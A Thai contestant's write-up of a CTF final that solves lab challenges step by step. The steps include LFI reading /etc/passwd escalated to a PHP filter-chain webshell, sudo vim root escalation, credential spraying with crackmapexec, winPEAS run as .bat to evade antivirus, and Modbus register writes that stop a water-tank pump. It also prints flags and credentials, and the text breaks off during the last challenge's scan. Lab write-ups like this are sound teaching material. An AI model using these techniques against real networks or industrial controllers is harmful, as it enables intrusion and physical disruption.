สวัสดีครับ ในวันที่ 9-14 กันยายน ที่ผ่านมาทาง DropCTF ได้จัดงาน TEMPEST CTF 2025 | DropCTF x STH รอบคัดเลือกและผมก็จบในอันดับที่ 8 จึงได้เข้ามาสู่รอบ Final ที่จัดแข่งในวันที่ 16-18 ที่ผ่านมาแล้วก็ได้จบไปในอันดับที่ 4 จาก 10 อันดับ โดยในรอบ final นี้มีข้อทั้งหมด ดังนี้
- Drop Solution (Easy) - Solved
- TO THE TUNNEL (Medium) - Solved
- GOES DEEP (Medium) - Solved
- DRY TANK (Medium) - Solved
- TOMA CHI GURU (Easy) - Solved
- AMONGNUD FINAL BOSS (Hard) - Solved
โดยบทความนี้จะเป็น write up ของทุกข้อในรอบ final ซึ่งจะประกอบไปด้วยหมวด Machine, Crypto และ OT ไปเริ่มกันที่ข้อแรกกันเลยดีกว่า
Drop Solution (Easy)
IP: 192.168.2.10
เริ่มด้วยการ nmap เพื่อหา port ที่เปิดอยู่ทั้งหมดในเครื่องนี้
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 192.168.2.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 11:26 +07
Nmap scan report for 192.168.2.10
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:59:62:a8:05:60:a9:a1:0e:7e:20:d9:bb:d6:82:31 (ECDSA)
|_ 256 30:d6:c6:20:af:f5:67:da:76:a2:31:46:c9:73:0a:3b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Drop Solution - Water Tank & SCADA Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds
มี port 80 ที่เป็น service http เปิดอยู่เลยเข้าไปที่ url http://192.168.2.10/
จากนั้นใช้ dirsearch เพื่อหา path ที่อาจซ่อนอยู่
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ dirsearch -u "http://192.168.2.10/"
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Downloads/DropCTF/Final/reports/http_192.168.2.10/__25-09-19_12-26-12.txt
Target: http://192.168.2.10/
[12:26:12] Starting:
[12:26:13] 403 - 277B - /.ht_wsr.txt
[12:26:13] 403 - 277B - /.htaccess.bak1
[12:26:13] 403 - 277B - /.htaccess.orig
[12:26:13] 403 - 277B - /.htaccess.save
[12:26:13] 403 - 277B - /.htaccess_orig
[12:26:13] 403 - 277B - /.htaccess.sample
[12:26:13] 403 - 277B - /.htaccess_sc
[12:26:13] 403 - 277B - /.htaccess_extra
[12:26:13] 403 - 277B - /.htaccessBAK
[12:26:13] 403 - 277B - /.htaccessOLD
[12:26:13] 403 - 277B - /.htaccessOLD2
[12:26:13] 403 - 277B - /.htm
[12:26:13] 403 - 277B - /.htpasswds
[12:26:13] 403 - 277B - /.html
[12:26:13] 403 - 277B - /.htpasswd_test
[12:26:13] 403 - 277B - /.httr-oauth
[12:26:13] 403 - 277B - /.php
[12:26:13] 403 - 277B - /.swp
[12:26:14] 200 - 2KB - /about.php
[12:26:16] 301 - 313B - /assets -> http://192.168.2.10/assets/
[12:26:16] 200 - 453B - /assets/
[12:26:17] 200 - 2KB - /contact.php
[12:26:19] 200 - 509B - /files/
[12:26:19] 301 - 312B - /files -> http://192.168.2.10/files/
[12:26:19] 301 - 313B - /images -> http://192.168.2.10/images/
[12:26:19] 200 - 605B - /images/
[12:26:19] 301 - 315B - /includes -> http://192.168.2.10/includes/
[12:26:19] 200 - 481B - /includes/
[12:26:22] 200 - 4KB - /projects.php
[12:26:23] 403 - 277B - /server-status/
[12:26:23] 403 - 277B - /server-status
Task Completed
หลังจากลองสำรวจหน้าเว็บในหลายๆ path แล้วจะมีอยู่ path นึงที่น่าสนใจคือ path /projects.php
หลังจากกด view details แล้วถ้าดูดีๆจะเห็นว่ามันทำการไปอ่านไฟล์ใน path /projects.php?detail=files/project_0.txt
เลยลองเปลี่ยนเป็น path /etc/passwd เพื่อเช็คว่ามันทำ LFI ได้มั้ย
ได้ท่าละ แสดงว่าเว็บนี้มีช่องโหว่ LFI ที่ทำให้เราสามารถอ่านไฟล์ต่างๆภายในเครื่อง server ได้ด้วยสิทธิ์ www-data ทีนี้ต่อมาลอง php filter ดูว่าเว็บมันสามารถให้เราทำได้ไหม php://filter/convert.base64-encode/resource=
จะเห็นว่าสามารถทำได้ซึ่งหากเราเอา base64 นี้ไป decode จะได้ source code php ของ projects.php ซึ่งผมก็ได้ทำการไปไล่ดู source code ของทุกไฟล์ในหน้าเว็บแล้วแต่ก็ยังไม่มีอะไรน่าสนใจ เพราะงั้นสิ่งที่จะทำต่อไปคือ ต้องทำให้ช่องโหว่ LFI กลายไปเป็น RCE ให้ได้
ซึ่งจากที่เราสามารถใช้ php filter ได้แล้วก็สามารถต่อยอดให้มันทำ RCE ได้เช่นกัน
จากการหาข้อมูลของ PeterPatter ทำให้ผมรู้ว่าเราสามารถใช้ท่า Simple PHP webshell with php filter chains ในการทำได้ ซึ่งทำให้เราสามารถทำ web shell แบบ in-memory (ไม่ต้องเขียนไฟล์บนดิสก์) ได้ผ่าน filter chain ก็ทำการนำ payload ในเว็บนี้ไปใช้ได้เลย (ขอใช้ burp นะครับเพื่อความสวยงามของ output 😅)
จะเห็นว่ามีไฟล์ shell1.php อันนี้ไม่แน่ใจว่าเป็นความตั้งใจของโจทย์มั้ย แต่ขอใช้แล้วกันนะครับ 😁 ไปที่ url http://192.168.2.10/shell1.php/
ขอบอกก่อนเลยว่าในรอบ final นี้ทุกคนจะได้เล่นในเครื่องเดียวกันซึ่งมันมีคนทำข้อนี้ได้ไปแล้วหลายคน แล้วผมก็หารหัสของ user ไม่เจอจริงๆ (ลืมบอกไปว่าในเครื่องนี้มี user เดียวนั่นคือ baw) ผมเลยใช้คำสั่ง ps aux เพื่อดู process ทั้งหมด หรือก็คือการขอส่วนบุญจากคนที่ทำไปแล้วนั่นเอง 🤓
จะเห็นมีอยู่อันนึงที่ดูน่าสงสัยและเหมือนจะเป็น password คือ amongnud123! เลยลองเอาไป ssh ดู
User flag : TEMPEST{First_Flag_Keep_Going_10a130b14e066591c476999ae628b88}
ต่อไปคือการหา root flag ก็ทำการใช้คำสั่ง sudo -l เพื่อดูว่า user นี้สามารถใช้สิทธิ์ root ในการทำอะไรได้บ้าง
baw@web:~/flag$ sudo -l
Matching Defaults entries for baw on web:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User baw may run the following commands on web:
(ALL) NOPASSWD: /usr/bin/vim
จะได้ว่า user นี้สามารถรัน vim ด้วยสิทธิ์ root ได้ซึ่งเป็นการยกสิทธิ์ที่ค่อนข้าง basic สามารถหาจาก GTFOBins ได้เลย

Root flag : TEMPEST{W3lcome_To_Root_131d42535e53ec0aee956c7f93e2b7a8}
ซึ่งเอาจริงๆข้อนี้ผมทำนานมากนานที่สุดจากทุกข้อเลยไม่ easy ตามชื่อเลย 😭
TO THE TUNNEL (Medium)
IP : 192.168.3.0/24 ซึ่ง IP นี้จะใช้ในข้อ GOES DEEP ด้วย
เนื่องจากข้อนี้ได้มาเป็น Network IP เลยต้อง scan หา host ที่มีก่อน
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sn 192.168.3.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 14:24 +07
Nmap scan report for 192.168.3.1
Host is up (0.011s latency).
Nmap scan report for 192.168.3.10
Host is up (0.011s latency).
Nmap scan report for 192.168.3.11
Host is up (0.0078s latency).
Nmap scan report for 192.168.3.12
Host is up (0.0088s latency).
Nmap scan report for 192.168.3.20
Host is up (0.0079s latency).
Nmap scan report for 192.168.3.100
Host is up (0.0083s latency).
Nmap scan report for 192.168.3.254
Host is up (0.0081s latency).
Nmap done: 256 IP addresses (7 hosts up) scanned in 9.14 seconds
จะเห็นว่ามีอยู่หลาย IP ด้วยกันนั่นคือ
- 192.168.3.10
- 192.168.3.11
- 192.168.3.12
- 192.168.3.20
- 192.168.3.100
- 192.168.3.254
(192.168.3.1 ไม่นับเพราะเป็น gateway) ทำการ nmap ทุก IP เพื่อดู port ที่เปิดอยู่ของแต่ละ IP
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 192.168.3.10 192.168.3.11 192.168.3.12 192.168.3.20 192.168.3.100 192.168.3.254
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 14:29 +07
Nmap scan report for 192.168.3.10
Host is up (0.013s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-19 07:29:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: dropsolution.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: dropsolution.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -8s
| smb2-time:
| date: 2025-09-19T07:30:08
|_ start_date: N/A
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:67:09:01 (VMware)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Nmap scan report for 192.168.3.11
Host is up (0.014s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:8d:5c:c1:cf:e9:ec:0e:a4:e4:ae:97:17:ba:6f:a3 (ECDSA)
|_ 256 e8:7c:80:bc:de:f8:61:01:5c:86:e2:44:42:7e:d2:61 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.3.12
Host is up (0.013s latency).
All 1000 scanned ports on 192.168.3.12 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Nmap scan report for 192.168.3.20
Host is up (0.016s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 10 Pro 19045 microsoft-ds (workgroup: DROPSOLUTION)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CLIENT01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 10 Pro 19045 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Client01
| NetBIOS computer name: CLIENT01\x00
| Domain name: dropsolution.local
| Forest name: dropsolution.local
| FQDN: Client01.dropsolution.local
|_ System time: 2025-09-19T14:30:08+07:00
| smb2-time:
| date: 2025-09-19T07:30:08
|_ start_date: N/A
|_nbstat: NetBIOS name: CLIENT01, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:10:e5:71 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2h20m03s, deviation: 4h02m21s, median: -8s
Nmap scan report for 192.168.3.100
Host is up (0.014s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-US7OERQD4E9
| Not valid before: 2025-06-22T21:04:41
|_Not valid after: 2025-12-22T21:04:41
|_ssl-date: 2025-09-19T07:30:23+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-09-19T07:30:17
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-US7OERQD4E9, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:c0:00:03 (VMware)
Nmap scan report for 192.168.3.254
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:59:62:a8:05:60:a9:a1:0e:7e:20:d9:bb:d6:82:31 (ECDSA)
|_ 256 30:d6:c6:20:af:f5:67:da:76:a2:31:46:c9:73:0a:3b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Drop Solution - Water Tank & SCADA Services
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Post-scan script results:
| clock-skew:
| -2h20m03s:
| 192.168.3.20
|_ 192.168.3.10
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 6 IP addresses (6 hosts up) scanned in 35.14 seconds
จากการดูผล nmap และการสำรวจจะได้ว่า
- IP : 192.168.3.10 เป็น Domain Controller
- IP : 192.168.3.11, 192.168.3.12 ไม่น่าเกี่ยว
- IP : 192.168.3.20 เป็นเครื่อง Windows 10 Pro
- IP : 192.168.3.100 เป็นเครื่อง Windows Server
- IP : 192.168.3.254 เป็นเครื่อง Linux เครื่องเดียวกันกับข้อ Drop Solution เลย
เนื่องจากข้อนี้มันเป็นการต่อยอดจากข้อที่แล้ว (Drop Solution) ผมเลยลองใช้ Credential จากข้อที่แล้วในการมาหาข้อมูลดู
Username: baw , Password : amongnud123!
ทำการ enum ดูว่ามี ip ไหนที่สามารถใช้ Credential นี้ในการ login smb ได้บ้าง
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ crackmapexec smb 192.168.3.10 192.168.3.20 192.168.3.100 -u 'baw' -p 'amongnud123!'
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing LDAP protocol database
[*] Initializing SSH protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 192.168.3.20 445 CLIENT01 [*] Windows 10 Pro 19045 x64 (name:CLIENT01) (domain:dropsolution.local) (signing:False) (SMBv1:True)
SMB 192.168.3.100 445 WIN-US7OERQD4E9 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-US7OERQD4E9) (domain:WIN-US7OERQD4E9) (signing:False) (SMBv1:False)
SMB 192.168.3.10 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:dropsolution.local) (signing:True) (SMBv1:False)
SMB 192.168.3.20 445 CLIENT01 [-] dropsolution.local\baw:amongnud123! STATUS_LOGON_TYPE_NOT_GRANTED
SMB 192.168.3.100 445 WIN-US7OERQD4E9 [+] WIN-US7OERQD4E9\baw:amongnud123!
SMB 192.168.3.10 445 DC01 [+] dropsolution.local\baw:amongnud123!
จะมี 192.168.3.10 และ 192.168.3.100 เลยลองดู share folder ใน 192.168.3.10 ก่อน
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ smbclient -L 192.168.3.10 -U 'baw'
Password for [WORKGROUP\baw]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
public Disk
share Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.3.10 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
จะเห็นว่ามี folder ที่เรามีสิทธิ์เข้าถึงและน่าสนใจคือ public และ share ผมเลยลองเข้าไปดูที่ public ก่อน
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ smbclient //192.168.3.10/public -U 'baw'
Password for [WORKGROUP\baw]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jul 27 13:26:36 2025
.. D 0 Sun Jul 27 13:26:36 2025
anubis_hidden.mp3 A 6722219 Wed Jul 23 11:50:47 2025
12966143 blocks of size 4096. 9523751 blocks available
smb: \> get anubis_hidden.mp3
getting file \anubis_hidden.mp3 of size 6722219 as anubis_hidden.mp3 (5053.6 KiloBytes/sec) (average 5053.6 KiloBytes/sec)
เจอไฟล์ anubis_hidden.mp3 ผมเลยโหลดมาลงเครื่องเพื่อจะทำการวิเคราะห์ คิดไรไม่ออก strings ไปก่อน
เหมือนจะเจอข้อความที่เป็น base64 เลยเอาไป decode ดู
ตอนนี้ได้ Credential ใหม่มาละ เลยลองเอา username กับ password นี้ไปเข้าเครื่องดูว่าเข้าเครื่องอะไรได้บ้าง
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ crackmapexec winrm 192.168.3.10 192.168.3.20 192.168.3.100 -u Anubis -p 'XxAnubis!999'
SMB 192.168.3.10 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:dropsolution.local)
SMB 192.168.3.100 5985 WIN-US7OERQD4E9 [*] Windows 10 / Server 2019 Build 17763 (name:WIN-US7OERQD4E9) (domain:WIN-US7OERQD4E9)
SMB 192.168.3.20 5985 CLIENT01 [*] Windows 10 / Server 2019 Build 19041 (name:CLIENT01) (domain:dropsolution.local)
HTTP 192.168.3.10 5985 DC01 [*] http://192.168.3.10:5985/wsman
HTTP 192.168.3.100 5985 WIN-US7OERQD4E9 [*] http://192.168.3.100:5985/wsman
HTTP 192.168.3.20 5985 CLIENT01 [*] http://192.168.3.20:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 192.168.3.10 5985 DC01 [+] dropsolution.local\Anubis:XxAnubis!999 (Pwn3d!)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 192.168.3.100 5985 WIN-US7OERQD4E9 [-] WIN-US7OERQD4E9\Anubis:XxAnubis!999
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 192.168.3.20 5985 CLIENT01 [+] dropsolution.local\Anubis:XxAnubis!999 (Pwn3d!)
จะได้ว่าเข้าได้ 2 เครื่องคือ 192.168.3.10 (เครื่อง DC) และเครื่อง 192.168.3.20 (เครื่อง windows) ผมเลยไปเข้าเครื่อง windows ก่อน
Flag : TEMPEST{TryHarderhahaha_a09de17e79986f0ece0d74e2d0606000}
GOES DEEP (Medium)
ต่อมาจากรูปจะเห็นว่ามีไฟล์ secret.zip อยู่ผมเลยลองโหลดมาที่เครื่องเพื่อที่จะแตกไฟล์ดู

ติด password ดังนั้นตอนนี้คือเราต้องหา password ในการแตกไฟล์ให้เจอจากเครื่อง 192.168.3.20 ซึ่งจาก path Downloads จะเห็นตัว winPEAS.bat อยู่ซึ่งผมโหลดมาลง ผมเลยใช้คำสั่ง .\winPEAS.bat เพื่อทำการ execute (สาเหตุที่ต้องใช้ .bat แทน .exe เพราะผมลองเอา .exe ไปใช้แล้วมัน execute ไม่ได้เนื่องจากเครื่องนี้มี antivirus จึงใช้ .bat เพื่อ bypass ส่วนนี้ได้) ซึ่งจากการที่ผมเลื่อนดูจนตาแตกก็มีไฟล์ที่น่าสงสัยอยู่อันนึง
ลอง cat ดูเนื้อหาข้างในซิ
เจอข้อความนึงซึ่งดูเหมือน password สุดๆ55555 เลยลองเอาไปใช้แตกไฟล์ดู
ได้ Credentials ใหม่มาแล้วลองเอา username และ password นี้ไปเข้าเครื่อง 192.168.3.10 ดู
จะเห็นว่า user Anubus เป็น Administrator บน DC01 ที่เหลือเราก็แค่หา flag ให้เจอ ซึ่งผมก็เจออยู่ใน path C:\Users\Administrator\Desktop>
Flag : TEMPEST{WelCome_TO_AD_PART_619fe030f4b9a5c97ad4c8326b91d345}
DRY TANK (Medium)
IP: 192.168.4.0/24
ข้อนี้ก็ได้เป็น Network IP มาเหมือนกันเลยเริ่มด้วยการ scan ดู host เหมือนเดิม
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sn 192.168.4.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 15:39 +07
Nmap scan report for 192.168.4.1
Host is up (0.021s latency).
Nmap scan report for 192.168.4.12
Host is up (0.0082s latency).
Nmap scan report for 192.168.4.20
Host is up (0.0079s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 10.39 seconds
ข้อนี้จะมีอยู่ 2 IP คือ
- 192.168.4.12
- 192.168.4.20
ทำการ nmap ทั้ง 2 IP
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 -p- 192.168.4.12 192.168.4.20
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 15:41 +07
Nmap scan report for 192.168.4.12
Host is up (0.013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:8d:5c:c1:cf:e9:ec:0e:a4:e4:ae:97:17:ba:6f:a3 (ECDSA)
|_ 256 e8:7c:80:bc:de:f8:61:01:5c:86:e2:44:42:7e:d2:61 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.4.20
Host is up (0.012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 38:d0:f0:c2:f8:42:ae:43:94:06:f8:1e:38:82:aa:a2 (ECDSA)
|_ 256 f1:78:07:e6:f8:72:f7:a0:6b:1a:4a:a8:e6:cf:eb:cc (ED25519)
502/tcp open mbap?
8080/tcp open http Werkzeug httpd 2.3.7 (Python 3.10.18)
|_http-title: Industrial Water Tank HMI
|_http-server-header: Werkzeug/2.3.7 Python/3.10.18
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 182.90 seconds
หลังจากการดูผล nmap จะได้ว่า ip 192.168.4.12 ไม่น่าเกี่ยวและใน IP 192.168.4.20 มี port 8080 ที่เป็น service http กับ 502 (น่าจะเป็น protocol modbus) เปิดอยู่ เลยลองเข้าไปที่ url http://192.168.4.20:8080/
จากรูปจะมีเหมือนเป็นคู่มือเล็กๆอยู่ด้านล่างว่าที่
- register ตำแหน่งที่ 0 ใช้สำหรับการเปิด/ปิด ปั้ม (1= เปิด, 0= ปิด)
- register ตำแหน่งที่ 1 เป็นค่าของระดับน้ำ
ซึ่งใช้ตัวของ protocol modbus ในการควบคุม ดังนั้นสิ่งที่เราต้องทำคือปรับ water level และ pump control เป็น 0 หรือก็คือปรับ register ตำแหน่งที่ 0 และตำแหน่งที่ 1 เป็น 0 flag น่าจะออกเลย โดยผมจะใช้ tool mbtget ในการยิงเปลี่ยนค่า โดยเราต้องรู้ slave ID ก่อนว่าเป็นเท่าไหร่ โดยการใช้คำสั่ง
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -p502 --script modbus-discover 192.168.4.20
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 16:10 +07
Nmap scan report for 192.168.4.20
Host is up (0.0070s latency).
PORT STATE SERVICE
502/tcp open modbus
| modbus-discover:
| sid 0x1:
| Slave ID data: CTF Water Tank-CTF-WT-001-1.0\xFF
|_ Device identification: CTF Water Tank CTF-WT-001 1.0
Nmap done: 1 IP address (1 host up) scanned in 5.72 seconds
จะได้ sid = 1 จากนั้นทำการยิงได้เลยยยย

- -u 1 → Slave ID 1
- -a 0,1 → Address 0,1 (pump control)
- -w6 0 → Write single register, ค่า 0
- -p 502 → port_number 502
จากนั้นกลับไปดูที่หน้าเว็บ
Flag : TEMPEST{Pump_Stopped_And_The_Tank_Is_Dry_539366767c36e92f2022e05af96ea3fd}
TOMA CHI GURU (Easy)
ข้อนี้เป็นข้อ Crypto ซึ่งโจทย์จะให้ไฟล์ TOMACHIGURU.txt มาผมเลยลองโหลดมาเปิดดู
จะเห็นว่ามีตัวอักษรแปลกๆที่อ่านไม่ออกอยู่ ผมเลยเอาตัวอักษรแปลกๆพวกนี้ไป decode ในเว็บ 2cyr.com
Flag : TEMPEST{162e822676efa4b42516a96da746cd6b}
AMONGNUD FINAL BOSS (Hard)
IP: 192.168.100.10
จงหา OSINT หาข้อมูลเกี่ยวกับ amongnud206 และหาทางเข้าเครื่องให้เจอ ณ หุบเขา แมงกระสุนหัวกระพรุน อันห่างไกล มีท่านจอมยุทธ์ผู้หนึ่ง ผู้คร่ำหวอดในยุทธภพไซเบอร์ ได้เข้าไปฝึกวิชาโจมตี Active Directory จนกลายเป็นเคล็ดวิชาไม้ตายขั้นสุดยอด สามารถยกระดับสิทธิ์ user ได้ราวกับเสกเปลวเพลิง และหลังจากนั้นท่านจอมยุทธ์ได้ออกมาสร้างสำนักและก่อตั้ง บริษัท Amongnud ไม่จำกัด แต่เกิดเหตุการไม่คาดคิดท่านจอมยุทธ์ได้ Config Active Directory ผิดพลาด จงหาข้อผิดพลาดและรับ ตำรา เทพีเทพมังกร ให้เจอ จงหา OSINT ข้อมูลเกี่ยวกับ amongnud206 และหาทางเข้าเครื่องให้เจอ
โจทย์ยาวมากครับเกือบไม่อ่าน 🥲 จากโจทย์ผมเลยนำคำว่า amongnud206 ไปค้นหาใน google แต่ก็ไม่เจออะไรจน PeterPatter เขาส่งมาให้ว่าไปเจอ user amongnud206 เป็น channel ใน youtube
ผมเลยลองเข้าไปดูคลิปในช่องปรากฎว่าในคลิปแรกมีคอมเม้นที่เป็นคำใบ้อยู่
จากคำใบ้ผมเลยเอาชื่อ sutlit ไปค้นหาใน platform social media ต่างๆจนมาถึง X ผมก็ได้เจอบางอย่าง
นำ emoji ไป decode ด้วย base100 decoder (ถ้าถามว่าผมรู้ได้ไง ประสบการณ์ล้วนๆครับ55555 😎)
จะได้ url ของ pastebin มาทำการเข้าไปที่ url https://pastebin.com/raw/ZPuSqbx1 จะได้เป็นข้อความที่เป็น base64 เลยเอาไป decode
ได้ Credential มาแล้วว คือ User: amongyud และ Password: Th1s1sV3ryStr0ngP@ssw0rd#2024!NoOneCanGu3ss ต่อไปทำการ nmap IP ที่โจทย์ให้มาเพื่อ Scan port ที่เปิดอยู่
┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 192.168.100.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 14:31 +07
Nmap scan report for DC01.amongnud.local (192.168.100.10)
Host is up (0.055s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-20 07:31:59Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: amongnud.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
